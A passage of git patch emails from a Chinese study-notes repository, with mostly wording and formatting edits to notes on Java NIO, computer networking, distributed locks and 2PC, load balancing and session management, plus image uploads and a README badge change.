-通道与流的不同之处在于，流只能在一个方向上移动，(一个流必须是 InputStream 或者 OutputStream 的子类)，而通道是双向的，可以用于读、写或者同时用于读写。
+通道与流的不同之处在于，流只能在一个方向上移动(一个流必须是 InputStream 或者 OutputStream 的子类)，而通道是双向的，可以用于读、写或者同时用于读写。
 
 通道包括以下类型：
 
@@ -329,21 +334,41 @@ I/O 包和 NIO 已经很好地集成了，java.io.\* 已经以 NIO 为基础重
 以下展示了使用 NIO 快速复制文件的实例：
 
 ```java
-public static void fastCopy(String src, String dist) throws IOException
-{
-    FileInputStream fin = new FileInputStream(src);      /* 获取源文件的输入字节流 */
-    FileChannel fcin = fin.getChannel();                 /* 获取输入字节流的文件通道 */
-    FileOutputStream fout = new FileOutputStream(dist);  /* 获取目标文件的输出字节流 */
-    FileChannel fcout = fout.getChannel();               /* 获取输出字节流的通道 */
-    ByteBuffer buffer = ByteBuffer.allocateDirect(1024); /* 为缓冲区分配 1024 个字节 */
+public static void fastCopy(String src, String dist) throws IOException {
+
+    /* 获得源文件的输入字节流 */
+    FileInputStream fin = new FileInputStream(src);
+
+    /* 获取输入字节流的文件通道 */
+    FileChannel fcin = fin.getChannel();
+
+    /* 获取目标文件的输出字节流 */
+    FileOutputStream fout = new FileOutputStream(dist);
+
+    /* 获取输出字节流的通道 */
+    FileChannel fcout = fout.getChannel();
+
+    /* 为缓冲区分配 1024 个字节 */
+    ByteBuffer buffer = ByteBuffer.allocateDirect(1024);
+
     while (true) {
-        int r = fcin.read(buffer);                       /* 从输入通道中读取数据到缓冲区中 */
-        if (r == -1) {                                   /* read() 返回 -1 表示 EOF */
+
+        /* 从输入通道中读取数据到缓冲区中 */
+        int r = fcin.read(buffer);
+
+        /* read() 返回 -1 表示 EOF */
+        if (r == -1) {
             break;
         }
-        buffer.flip();                                   /* 切换读写 */
-        fcout.write(buffer);                             /* 把缓冲区的内容写入输出文件中 */
-        buffer.clear();                                  /* 清空缓冲区 */
+
+        /* 切换读写 */
+        buffer.flip();
+
+        /* 把缓冲区的内容写入输出文件中 */
+        fcout.write(buffer);
+        
+        /* 清空缓冲区 */
+        buffer.clear();
     }
 }
 ```
@@ -448,10 +473,10 @@ while (true) {
 ## 套接字 NIO 实例
 
 ```java
-public class NIOServer
-{
-    public static void main(String[] args) throws IOException
-    {
+public class NIOServer {
+
+    public static void main(String[] args) throws IOException {
+
         Selector selector = Selector.open();
 
         ServerSocketChannel ssChannel = ServerSocketChannel.open();
@@ -463,32 +488,45 @@ public class NIOServer
         serverSocket.bind(address);
 
         while (true) {
+
             selector.select();
             Set<SelectionKey> keys = selector.selectedKeys();
             Iterator<SelectionKey> keyIterator = keys.iterator();
+
             while (keyIterator.hasNext()) {
+
                 SelectionKey key = keyIterator.next();
+
                 if (key.isAcceptable()) {
+
                     ServerSocketChannel ssChannel1 = (ServerSocketChannel) key.channel();
+
                     // 服务器会为每个新连接创建一个 SocketChannel
                     SocketChannel sChannel = ssChannel1.accept();
                     sChannel.configureBlocking(false);
+
                     // 这个新连接主要用于从客户端读取数据
                     sChannel.register(selector, SelectionKey.OP_READ);
+
                 } else if (key.isReadable()) {
+
                     SocketChannel sChannel = (SocketChannel) key.channel();
                     System.out.println(readDataFromSocketChannel(sChannel));
                     sChannel.close();
                 }
+
                 keyIterator.remove();
             }
         }
     }
 
     private static String readDataFromSocketChannel(SocketChannel sChannel) throws IOException {
+
         ByteBuffer buffer = ByteBuffer.allocate(1024);
         StringBuilder data = new StringBuilder();
+
         while (true) {
+
             buffer.clear();
             int n = sChannel.read(buffer);
             if (n == -1) {
@@ -509,10 +547,9 @@ public class NIOServer
 ```
 
 ```java
-public class NIOClient
-{
-    public static void main(String[] args) throws IOException 
-    {
+public class NIOClient {
+
+    public static void main(String[] args) throws IOException {
         Socket socket = new Socket("127.0.0.1", 8888);
         OutputStream out = socket.getOutputStream();
         String s = "hello world";
@@ -526,9 +563,9 @@ public class NIOClient
 
 内存映射文件 I/O 是一种读和写文件数据的方法，它可以比常规的基于流或者基于通道的 I/O 快得多。
 
-向内存映射文件写入可能是危险的，仅只是改变数组的单个元素这样的简单操作，就可能会直接修改磁盘上的文件。修改数据与将数据保存到磁盘是没有分开的。
+向内存映射文件写入可能是危险的，只是改变数组的单个元素这样的简单操作，就可能会直接修改磁盘上的文件。修改数据与将数据保存到磁盘是没有分开的。
 
-下面代码行将文件的前 1024 个字节映射到内存中，map() 方法返回一个 MappedByteBuffer，它是 ByteBuffer 的子类。因此，您可以像使用其他任何 ByteBuffer 一样使用新映射的缓冲区，操作系统会在需要时负责执行映射。
+下面代码行将文件的前 1024 个字节映射到内存中，map() 方法返回一个 MappedByteBuffer，它是 ByteBuffer 的子类。因此，可以像使用其他任何 ByteBuffer 一样使用新映射的缓冲区，操作系统会在需要时负责执行映射。
 
 ```java
 MappedByteBuffer mbb = fc.map(FileChannel.MapMode.READ_WRITE, 0, 1024);

From bd3f5ca2437cc75f6dc1634255e72fd7a1e55091 Mon Sep 17 00:00:00 2001
From: aikin <1@aikin.me>
Date: Sun, 5 Aug 2018 17:36:53 +0800
Subject: [PATCH 68/87] =?UTF-8?q?add=20refactoring=20kata=20into=20?=
 =?UTF-8?q?=E9=87=8D=E6=9E=84.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 notes/重构.md | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notes/重构.md b/notes/重构.md
index 9a3242ba..72021355 100644
--- a/notes/重构.md
+++ b/notes/重构.md
@@ -107,6 +107,7 @@
     * [10. 塑造模板函数](#10-塑造模板函数)
     * [11. 以委托取代继承](#11-以委托取代继承)
     * [12. 以继承取代委托](#12-以继承取代委托)
+* [练习重构的栗子](#练习重构的栗子)    
 * [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
@@ -1415,6 +1416,10 @@ public Manager(String name, String id, int grade) {
 
 让委托类继承受托类。
 
+
+# 练习重构的栗子
+* [Refactoring Kata](https://github.com/aikin/refactoring-kata)
+
 # 参考资料
 
 - MartinFowler, 福勒, 贝克, 等. 重构: 改善既有代码的设计 [M]. 电子工业出版社, 2011.

From 1366a2e149d4a2cc9b4af30fea91a7af40d3f497 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 5 Aug 2018 17:37:04 +0800
Subject: [PATCH 69/87] auto commit

---
 notes/Java IO.md    | 12 ++++++------
 notes/计算机网络.md | 26 +++++++++++++++-----------
 2 files changed, 21 insertions(+), 17 deletions(-)

diff --git a/notes/Java IO.md b/notes/Java IO.md
index d93ff47c..1e3aedcd 100644
--- a/notes/Java IO.md	
+++ b/notes/Java IO.md	
@@ -60,15 +60,18 @@ public static void listAllFiles(File dir) {
 
 ```java
 public static void copyFile(String src, String dist) throws IOException {
+
     FileInputStream in = new FileInputStream(src);
     FileOutputStream out = new FileOutputStream(dist);
     byte[] buffer = new byte[20 * 1024];
+
     // read() 最多读取 buffer.length 个字节
     // 返回的是实际读取的个数
     // 返回 -1 的时候表示读到 eof，即文件尾
     while (in.read(buffer, 0, buffer.length) != -1) {
         out.write(buffer);
     }
+
     in.close();
     out.close();
 }
@@ -165,20 +168,17 @@ public static void main(String[] args) throws IOException, ClassNotFoundExceptio
     System.out.println(a2);
 }
 
-private static class A implements Serializable
-{
+private static class A implements Serializable {
     private int x;
     private String y;
 
-    A(int x, String y)
-    {
+    A(int x, String y) {
         this.x = x;
         this.y = y;
     }
 
     @Override
-    public String toString()
-    {
+    public String toString() {
         return "x = " + x + "  " + "y = " + y;
     }
 }
diff --git a/notes/计算机网络.md b/notes/计算机网络.md
index f1460844..9b213d74 100644
--- a/notes/计算机网络.md
+++ b/notes/计算机网络.md
@@ -91,7 +91,7 @@
 
 每个分组都有首部和尾部，包含了源地址和目的地址等控制信息，在同一个传输线路上同时传输多个分组互相不会影响，因此在同一条传输线路上允许同时传输多个分组，也就是说分组交换不需要占用传输线路。
 
-考虑在一个邮局通信系统中，邮局收到一份邮件之后，先存储下来，然后把相同目的地的邮件一起转发到下一个目的地，这个过程就是存储转发过程，分组交换也使用了存储转发过程。
+在一个邮局通信系统中，邮局收到一份邮件之后，先存储下来，然后把相同目的地的邮件一起转发到下一个目的地，这个过程就是存储转发过程，分组交换也使用了存储转发过程。
 
 ## 时延
 
@@ -109,11 +109,11 @@
 
 ### 2. 传播时延
 
-电磁波在信道中传播一定的距离需要花费的时间，电磁波传播速度接近光速。
+电磁波在信道中传播所需要花费的时间，电磁波传播的速度接近光速。
 
 <div align="center"><img src="https://latex.codecogs.com/gif.latex?delay=\frac{l(m)}{v(m/s)}"/></div> <br>
 
-其中 l 表示信道长度，v 表示电磁波在信道上的传播速率。
+其中 l 表示信道长度，v 表示电磁波在信道上的传播速度。
 
 ### 3. 处理时延
 
@@ -135,7 +135,7 @@
 
 -  **网络层** ：为主机间提供数据传输服务，而运输层协议是为主机中的进程提供服务。网络层把运输层传递下来的报文段或者用户数据报封装成分组。
 
--  **数据链路层** ：网络层针对的还是主机之间的数据传输服务，而主机之间可以有很多链路，链路层协议就是为同一链路的节点提供服务。数据链路层把网络层传来的分组封装成帧。
+-  **数据链路层** ：网络层针对的还是主机之间的数据传输服务，而主机之间可以有很多链路，链路层协议就是为同一链路的主机提供服务。数据链路层把网络层传下来的分组封装成帧。
 
 -  **物理层** ：考虑的是怎样在传输媒体上传输数据比特流，而不是指具体的传输媒体。物理层的作用是尽可能屏蔽传输媒体和通信手段的差异，使数据链路层感觉不到这些差异。
 
@@ -153,7 +153,7 @@
 
 它只有四层，相当于五层协议中数据链路层和物理层合并为网络接口层。
 
-现在的 TCP/IP 体系结构不严格遵循 OSI 分层概念，应用层可能会直接使用 IP 层或者网络接口层。
+TCP/IP 体系结构不严格遵循 OSI 分层概念，应用层可能会直接使用 IP 层或者网络接口层。
 
 <div align="center"> <img src="../pics//45e0e0bf-386d-4280-a341-a0b9496c7674.png" width="400"/> </div><br>
 
@@ -314,7 +314,7 @@ MAC 地址是链路层地址，长度为 6 字节（48 位），用于唯一标
 
 主要有以太网、令牌环网、FDDI 和 ATM 等局域网技术，目前以太网占领着有线局域网市场。
 
-可以按照网络拓结构扑对局域网进行分类：
+可以按照网络拓扑结构对局域网进行分类：
 
 <div align="center"> <img src="../pics//a6026bb4-3daf-439f-b1ec-a5a24e19d2fb.jpg" width="600"/> </div><br>
 
@@ -322,9 +322,9 @@ MAC 地址是链路层地址，长度为 6 字节（48 位），用于唯一标
 
 以太网是一种星型拓扑结构局域网。
 
-早期使用集线器进行连接。集线器是一种物理层设备，作用于比特而不是帧，当一个比特到达接口时，集线器重新生成这个比特，并将其能量强度放大，从而扩大网络的传输距离。之后再将这个比特发送到其它所有接口。如果集线器同时收到同时从两个不同接口的帧，那么就发生了碰撞。
+早期使用集线器进行连接，集线器是一种物理层设备，作用于比特而不是帧，当一个比特到达接口时，集线器重新生成这个比特，并将其能量强度放大，从而扩大网络的传输距离，之后再将这个比特发送到其它所有接口。如果集线器同时收到同时从两个不同接口的帧，那么就发生了碰撞。
 
-目前以太网使用交换机替代了集线器。交换机是一种链路层设备，它不会发生碰撞，能根据 MAC 地址进行存储转发。
+目前以太网使用交换机替代了集线器，交换机是一种链路层设备，它不会发生碰撞，能根据 MAC 地址进行存储转发。
 
 以太网帧格式：
 
@@ -337,7 +337,9 @@ MAC 地址是链路层地址，长度为 6 字节（48 位），用于唯一标
 
 ## 交换机*
 
-交换机具有自学习能力，学习的是交换表的内容，交换表中存储着 MAC 地址到接口的映射。正是由于这种自学习能力，因此交换机是一种即插即可即用设备，不需要网络管理员手动配置交换表内容。
+交换机具有自学习能力，学习的是交换表的内容，交换表中存储着 MAC 地址到接口的映射。
+
+正是由于这种自学习能力，因此交换机是一种即插即用设备，不需要网络管理员手动配置交换表内容。
 
 下图中，交换机有 4 个接口，主机 A 向主机 B 发送数据帧时，交换机把主机 A 到接口 1 的映射写入交换表中。为了发送数据帧到 B，先查交换表，此时没有主机 B 的表项，那么主机 A 就发送广播帧，主机 C 和主机 D 会丢弃该帧。主机 B 收下之后，查找交换表得到主机 A 映射的接口为 1，就发送数据帧到接口 1，同时交换机添加主机 B 到接口 3 的映射。
 
@@ -345,9 +347,11 @@ MAC 地址是链路层地址，长度为 6 字节（48 位），用于唯一标
 
 ## 虚拟局域网
 
-虚拟局域网可以建立与物理位置无关的逻辑组，只有在同一个虚拟局域网中的成员才会收到链路层广播信息。例如下图中 (A1, A2, A3, A4) 属于一个虚拟局域网，A1 发送的广播会被 A2、A3、A4 收到，而其它站点收不到。
+虚拟局域网可以建立与物理位置无关的逻辑组，只有在同一个虚拟局域网中的成员才会收到链路层广播信息。
 
-使用 VLAN 干线连接来建立虚拟局域网，每台交换机上的一个特殊端口被设置为干线端口，以互连 VLAN 交换机。IEEE 定义了一种扩展的以太网帧格式 802.1Q，它在标准以太网帧上加进了 4 字节首部 VLAN 标签，用于表示该帧属于哪一个虚拟局域网。
+例如下图中 (A1, A2, A3, A4) 属于一个虚拟局域网，A1 发送的广播会被 A2、A3、A4 收到，而其它站点收不到。
+
+使用 VLAN 干线连接来建立虚拟局域网，每台交换机上的一个特殊接口被设置为干线接口，以互连 VLAN 交换机。IEEE 定义了一种扩展的以太网帧格式 802.1Q，它在标准以太网帧上加进了 4 字节首部 VLAN 标签，用于表示该帧属于哪一个虚拟局域网。
 
 <div align="center"> <img src="../pics//a74b70ac-323a-4b31-b4d5-90569b8a944b.png" width="500"/> </div><br>
 

From 6e9e1d675e8eb961516637b052164f4841995ec4 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Mon, 6 Aug 2018 00:13:34 +0800
Subject: [PATCH 70/87] auto commit

---
 notes/分布式.md       | 10 ++++------
 notes/系统设计基础.md |  4 ++--
 notes/重构.md         |  5 +++++
 3 files changed, 11 insertions(+), 8 deletions(-)

diff --git a/notes/分布式.md b/notes/分布式.md
index 0f136855..c048b43e 100644
--- a/notes/分布式.md
+++ b/notes/分布式.md
@@ -61,7 +61,7 @@ EXPIRE 指令可以为一个键值对设置一个过期时间，从而避免了
 
 - 尝试从 N 个相互独立 Redis 实例获取锁，如果一个实例不可用，应该尽快尝试下一个；
 - 计算获取锁消耗的时间，只有当这个时间小于锁的过期时间，并且从大多数（N / 2 + 1）实例上获取了锁，那么就认为锁获取成功了；
-- 如果锁获取失败，会到每个实例上释放锁。
+- 如果锁获取失败，就到每个实例上释放锁。
 
 ## Zookeeper 的有序节点
 
@@ -124,9 +124,7 @@ Zookeeper 提供了一种树形结构级的命名空间，/app1/p_1 节点表示
 
 ## 2PC
 
-两阶段提交（Two-phase Commit，2PC）
-
-通过引入协调者（Coordinator）来协调参与者的行为，并最终决定这些参与者是否要真正执行事务。
+两阶段提交（Two-phase Commit，2PC），通过引入协调者（Coordinator）来协调参与者的行为，并最终决定这些参与者是否要真正执行事务。
 
 ### 1. 运行过程
 
@@ -152,7 +150,7 @@ Zookeeper 提供了一种树形结构级的命名空间，/app1/p_1 节点表示
 
 （二）单点问题
 
-协调者在 2PC 中起到非常大的作用，发生故障将会造成很大影响，特别是在阶段二发生故障，所有参与者会一直等待状态，无法完成其它操作。
+协调者在 2PC 中起到非常大的作用，发生故障将会造成很大影响。特别是在阶段二发生故障，所有参与者会一直等待状态，无法完成其它操作。
 
 （三）数据不一致
 
@@ -214,7 +212,7 @@ Zookeeper 提供了一种树形结构级的命名空间，/app1/p_1 节点表示
 
 BASE 是基本可用（Basically Available）、软状态（Soft State）和最终一致性（Eventually Consistent）三个短语的缩写。
 
-BASE 理论是对 CAP 中一致性和可用性权衡的结果，它的理论的核心思想是：即使无法做到强一致性，但每个应用都可以根据自身业务特点，采用适当的方式来使系统达到最终一致性。
+BASE 理论是对 CAP 中一致性和可用性权衡的结果，它的核心思想是：即使无法做到强一致性，但每个应用都可以根据自身业务特点，采用适当的方式来使系统达到最终一致性。
 
 <div align="center"> <img src="../pics//bc603930-d74d-4499-a3e7-2d740fc07f33.png"/> </div><br>
 
diff --git a/notes/系统设计基础.md b/notes/系统设计基础.md
index e132aa2c..40f0ca9d 100644
--- a/notes/系统设计基础.md
+++ b/notes/系统设计基础.md
@@ -13,7 +13,7 @@
 
 ### 1. 响应时间
 
-指从某个请求发出到接收到响应消耗的时间。
+指从某个请求从发出到接收到响应消耗的时间。
 
 在对响应时间进行测试时，通常采用重复请求方式，然后计算平均响应时间。
 
@@ -79,7 +79,7 @@
 实现可扩展主要有两种方式：
 
 - 使用消息队列进行解耦，应用之间通过消息传递的方式进行通信；
-- 使用分布式服务将业务和可复用的服务分离开来，业务使用分布式服务器框架调用可复用的服务。新增的产品可以用过调用可复用的服务来实现业务逻辑，对其它产品没有影响。
+- 使用分布式服务将业务和可复用的服务分离开来，业务使用分布式服务框架调用可复用的服务。新增的产品可以用过调用可复用的服务来实现业务逻辑，对其它产品没有影响。
 
 # 四、可用性
 
diff --git a/notes/重构.md b/notes/重构.md
index 9a3242ba..b5a834e0 100644
--- a/notes/重构.md
+++ b/notes/重构.md
@@ -107,6 +107,7 @@
     * [10. 塑造模板函数](#10-塑造模板函数)
     * [11. 以委托取代继承](#11-以委托取代继承)
     * [12. 以继承取代委托](#12-以继承取代委托)
+* [重构练习](#重构练习)
 * [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
@@ -1415,6 +1416,10 @@ public Manager(String name, String id, int grade) {
 
 让委托类继承受托类。
 
+# 重构练习
+
+- [Refactoring Kata](https://github.com/aikin/refactoring-kata)
+
 # 参考资料
 
 - MartinFowler, 福勒, 贝克, 等. 重构: 改善既有代码的设计 [M]. 电子工业出版社, 2011.

From 4bee3f40f5650a356719a6b3de9e471df5a092d1 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Mon, 6 Aug 2018 00:17:57 +0800
Subject: [PATCH 71/87] auto commit

---
 notes/重构.md | 10 ----------
 1 file changed, 10 deletions(-)

diff --git a/notes/重构.md b/notes/重构.md
index abdd99bd..b5a834e0 100644
--- a/notes/重构.md
+++ b/notes/重构.md
@@ -107,11 +107,7 @@
     * [10. 塑造模板函数](#10-塑造模板函数)
     * [11. 以委托取代继承](#11-以委托取代继承)
     * [12. 以继承取代委托](#12-以继承取代委托)
-<<<<<<< HEAD
 * [重构练习](#重构练习)
-=======
-* [练习重构的栗子](#练习重构的栗子)    
->>>>>>> e6475eb3bca6dc610b1db681f91da9d266151e0a
 * [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
@@ -1420,15 +1416,9 @@ public Manager(String name, String id, int grade) {
 
 让委托类继承受托类。
 
-<<<<<<< HEAD
 # 重构练习
 
 - [Refactoring Kata](https://github.com/aikin/refactoring-kata)
-=======
-
-# 练习重构的栗子
-* [Refactoring Kata](https://github.com/aikin/refactoring-kata)
->>>>>>> e6475eb3bca6dc610b1db681f91da9d266151e0a
 
 # 参考资料
 

From ea1c200cde84c393a5d1502bc38ce97f295fb4aa Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Mon, 6 Aug 2018 00:29:53 +0800
Subject: [PATCH 72/87] auto commit

---
 notes/集群.md | 40 ++++++++++++++++++++++++++--------------
 1 file changed, 26 insertions(+), 14 deletions(-)

diff --git a/notes/集群.md b/notes/集群.md
index b36a0bfe..717ae637 100644
--- a/notes/集群.md
+++ b/notes/集群.md
@@ -3,7 +3,7 @@
     * [算法实现](#算法实现)
     * [转发实现](#转发实现)
 * [二、集群下的 Session 管理](#二集群下的-session-管理)
-    * [Sticky Sessions](#sticky-sessions)
+    * [Sticky Session](#sticky-session)
     * [Session Replication](#session-replication)
     * [Session Server](#session-server)
 <!-- GFM-TOC -->
@@ -22,14 +22,16 @@
 
 负载均衡运行过程包含两个部分：
 
-1. 根据负载均衡算法得到应该将请求转发到哪个节点上；
+1. 根据负载均衡算法得到请求转发的节点；
 2. 将请求进行转发；
 
 ## 算法实现
 
 ### 1. 轮询（Round Robin）
 
-轮询算法把每个请求轮流发送到每个服务器上。下图中，一共有 6 个客户端产生了 6 个请求，这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。最后，(1, 3, 5) 的请求会被发送到服务器 1，(2, 4, 6) 的请求会被发送到服务器 2。
+轮询算法把每个请求轮流发送到每个服务器上。
+
+下图中，一共有 6 个客户端产生了 6 个请求，这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。最后，(1, 3, 5) 的请求会被发送到服务器 1，(2, 4, 6) 的请求会被发送到服务器 2。
 
 <div align="center"> <img src="../pics//2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
 
@@ -39,17 +41,23 @@
 
 ### 2. 加权轮询（Weighted Round Robbin）
 
-加权轮询是在轮询的基础上，根据服务器的性能差异，为服务器赋予一定的权值，性能高的服务器分配更高的权值。例如下图中，服务器 1 被赋予的权值为 5，服务器 2 被赋予的权值为 1，那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1，(6) 请求会被发送到服务器 2。
+加权轮询是在轮询的基础上，根据服务器的性能差异，为服务器赋予一定的权值，性能高的服务器分配更高的权值。
+
+例如下图中，服务器 1 被赋予的权值为 5，服务器 2 被赋予的权值为 1，那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1，(6) 请求会被发送到服务器 2。
 
 <div align="center"> <img src="../pics//211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg"/> </div><br>
 
 ### 3. 最少连接（least Connections）
 
-由于每个请求的连接时间不一样，使用轮询或者加权轮询算法的话，可能会让一台服务器当前连接数过大，而另一台服务器的连接过小，造成负载不均衡。例如下图中，(1, 3, 5) 请求会被发送到服务器 1，但是 (1, 3) 很快就断开连接，此时只有 (5) 请求连接服务器 1；(2, 4, 6) 请求被发送到服务器 2，只有 (2) 的连接断开。该系统继续运行时，服务器 2 会承担过大的负载。
+由于每个请求的连接时间不一样，使用轮询或者加权轮询算法的话，可能会让一台服务器当前连接数过大，而另一台服务器的连接过小，造成负载不均衡。
+
+例如下图中，(1, 3, 5) 请求会被发送到服务器 1，但是 (1, 3) 很快就断开连接，此时只有 (5) 请求连接服务器 1；(2, 4, 6) 请求被发送到服务器 2，只有 (2) 的连接断开。该系统继续运行时，服务器 2 会承担过大的负载。
 
 <div align="center"> <img src="../pics//3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg"/> </div><br>
 
-最少连接算法就是将请求发送给当前最少连接数的服务器上。例如下图中，服务器 1 当前连接数最小，那么新到来的请求 6 就会被发送到服务器 1 上。
+最少连接算法就是将请求发送给当前最少连接数的服务器上。
+
+例如下图中，服务器 1 当前连接数最小，那么新到来的请求 6 就会被发送到服务器 1 上。
 
 <div align="center"> <img src="../pics//1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg"/> </div><br>
 
@@ -61,13 +69,17 @@
 
 ### 5. 随机算法（Random）
 
-把请求随机发送到服务器上。和轮询算法类似，该算法比较适合服务器性能差不多的场景。
+把请求随机发送到服务器上。
+
+和轮询算法类似，该算法比较适合服务器性能差不多的场景。
 
 <div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
 
 ### 6. 源地址哈希法 (IP Hash)
 
-源地址哈希通过对客户端 IP 计算哈希值之后，再对服务器数量进行取模运算得到目标服务器的序号。可以保证同一 IP 的客户端的请求会转发到同一台服务器上，可以用来实现会话粘滞（Sticky Session）
+源地址哈希通过对客户端 IP 计算哈希值之后，再对服务器数量取模得到目标服务器的序号。
+
+可以保证同一 IP 的客户端的请求会转发到同一台服务器上，用来实现会话粘滞（Sticky Session）
 
 <div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
 
@@ -96,7 +108,7 @@ HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服
 
 缺点：
 
-- 由于 DNS 具有多级结构，每一级的域名记录都可能被缓存，当下线一台服务器需要修改 DNS 记录时，需要过很长一段时间才能生效；
+- 由于 DNS 具有多级结构，每一级的域名记录都可能被缓存，当下线一台服务器需要修改 DNS 记录时，需要过很长一段时间才能生效。
 
 大型网站基本使用了 DNS 做为第一级负载均衡手段，然后在内部使用其它方式做第二级负载均衡。也就是说，域名解析的结果为内部的负载均衡服务器 IP 地址。
 
@@ -123,7 +135,7 @@ HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服
 
 ### 4. 网络层
 
-负载均衡服务器在操作系统内核进程获取网络数据包，根据负载均衡算法计算源服务器的 IP 地址，并修改请求数据包的目的 IP 地址，最后进行转发。
+在操作系统内核进程获取网络数据包，根据负载均衡算法计算源服务器的 IP 地址，并修改请求数据包的目的 IP 地址，最后进行转发。
 
 源服务器返回的响应也需要经过负载均衡服务器，通常是让负载均衡服务器同时作为集群的网关服务器来实现。
 
@@ -133,15 +145,15 @@ HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服
 
 缺点：
 
-- 和反向代理一样，所有的请求和相应都经过负载均衡服务器，会成为性能瓶颈。
+- 和反向代理一样，所有的请求和响应都经过负载均衡服务器，会成为性能瓶颈。
 
 ### 5. 链路层
 
 在链路层根据负载均衡算法计算源服务器的 MAC 地址，并修改请求数据包的目的 MAC 地址，并进行转发。
 
-通过配置源服务器的虚拟 IP 地址和负载均衡服务器的 IP 地址一致，从而不需要需要 IP 地址就可以进行转发。也正因为 IP 地址一样，所以源服务器的响应不需要转发回负载均衡服务器，直接转发给客户端，避免了负载均衡服务器的成为瓶颈。这是一种三角传输模式，被称为直接路由，对于提供下载和视频服务的网站来说，直接路由避免了大量的网络传输数据经过负载均衡服务器。
+通过配置源服务器的虚拟 IP 地址和负载均衡服务器的 IP 地址一致，从而不需要修改 IP 地址就可以进行转发。也正因为 IP 地址一样，所以源服务器的响应不需要转发回负载均衡服务器，直接转发给客户端，避免了负载均衡服务器的成为瓶颈。这是一种三角传输模式，被称为直接路由，对于提供下载和视频服务的网站来说，直接路由避免了大量的网络传输数据经过负载均衡服务器。
 
-这是目前大型网站使用最广负载均衡转发方式，在 Linux 平台可以使用 LVS（Linux Virtual Server）。
+这是目前大型网站使用最广负载均衡转发方式，在 Linux 平台可以使用的负载均衡服务器为 LVS（Linux Virtual Server）。
 
 参考：
 
@@ -152,7 +164,7 @@ HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服
 
 一个用户的 Session 信息如果存储在一个服务器上，那么当负载均衡器把用户的下一个请求转发到另一个服务器，由于服务器没有用户的 Session 信息，那么该用户就需要重新进行登录等操作。
 
-## Sticky Sessions
+## Sticky Session
 
 需要配置负载均衡器，使得一个用户的所有请求都路由到同一个服务器，这样就可以把用户的 Session 存放在该服务器中。
 

From 64acfecb2933004474c510c80da9ce8ac74f6af8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <zhengyc101@163.com>
Date: Mon, 6 Aug 2018 16:35:34 +0800
Subject: [PATCH 73/87] Add files via upload

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 1 file changed, 0 insertions(+), 0 deletions(-)

diff --git a/other/group.jpg b/other/group.jpg
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From 7aec4940558e381f09b4c2e7a5562c28ab3d2b74 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <zhengyc101@163.com>
Date: Mon, 6 Aug 2018 16:42:08 +0800
Subject: [PATCH 74/87] Add files via upload

---
 other/group.jpg | Bin 84645 -> 68267 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)

diff --git a/other/group.jpg b/other/group.jpg
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From 1e02771555f8dcafabd977493fdabd2b9294954f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <zhengyc101@163.com>
Date: Mon, 6 Aug 2018 16:43:58 +0800
Subject: [PATCH 75/87] Add files via upload

---
 other/group.jpg | Bin 68267 -> 84645 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)

diff --git a/other/group.jpg b/other/group.jpg
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DhKlG(


From 921b50ad452432b8b6c1786c0b0ad42b7bba9614 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <zhengyc101@163.com>
Date: Mon, 6 Aug 2018 16:47:19 +0800
Subject: [PATCH 76/87] Add files via upload


From ccf76435f8352c85bc6834241210a6107f34ebf7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <zhengyc101@163.com>
Date: Mon, 6 Aug 2018 21:26:28 +0800
Subject: [PATCH 77/87] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 9bdb297b..2b4e688d 100644
--- a/README.md
+++ b/README.md
@@ -6,7 +6,7 @@
 <div align="center">
     <img src="other/LogoMakr_0zpEzN.png" width="150px">
     <br>
-    <a href="other/Group.md"> <img src="https://img.shields.io/badge/>-wechat-4ab8a1.svg"></a> <a href="https://legacy.gitbook.com/book/cyc2018/interview-notebook/details"> <img src="https://img.shields.io/badge/_-gitbook-4ab8a1.svg"></a> 
+    <a href="other/Group.md"> <img src="https://img.shields.io/badge/>-group-4ab8a1.svg"></a> <a href="https://legacy.gitbook.com/book/cyc2018/interview-notebook/details"> <img src="https://img.shields.io/badge/_-gitbook-4ab8a1.svg"></a> 
 </div>
 
 <!-- [![](https://img.shields.io/badge/>-gitter-blue.svg)](https://gitter.im/CyC2018-Interview-Notebook/Lobby?utm_source=share-link&utm_medium=link&utm_campaign=share-link) [![](https://img.shields.io/badge/_-gitbook-4ab8a1.svg)](https://legacy.gitbook.com/book/cyc2018/interview-notebook/details)  -->

From 86c26a7cf6fecd5a5f41b6a82c7aa372f3a50556 Mon Sep 17 00:00:00 2001
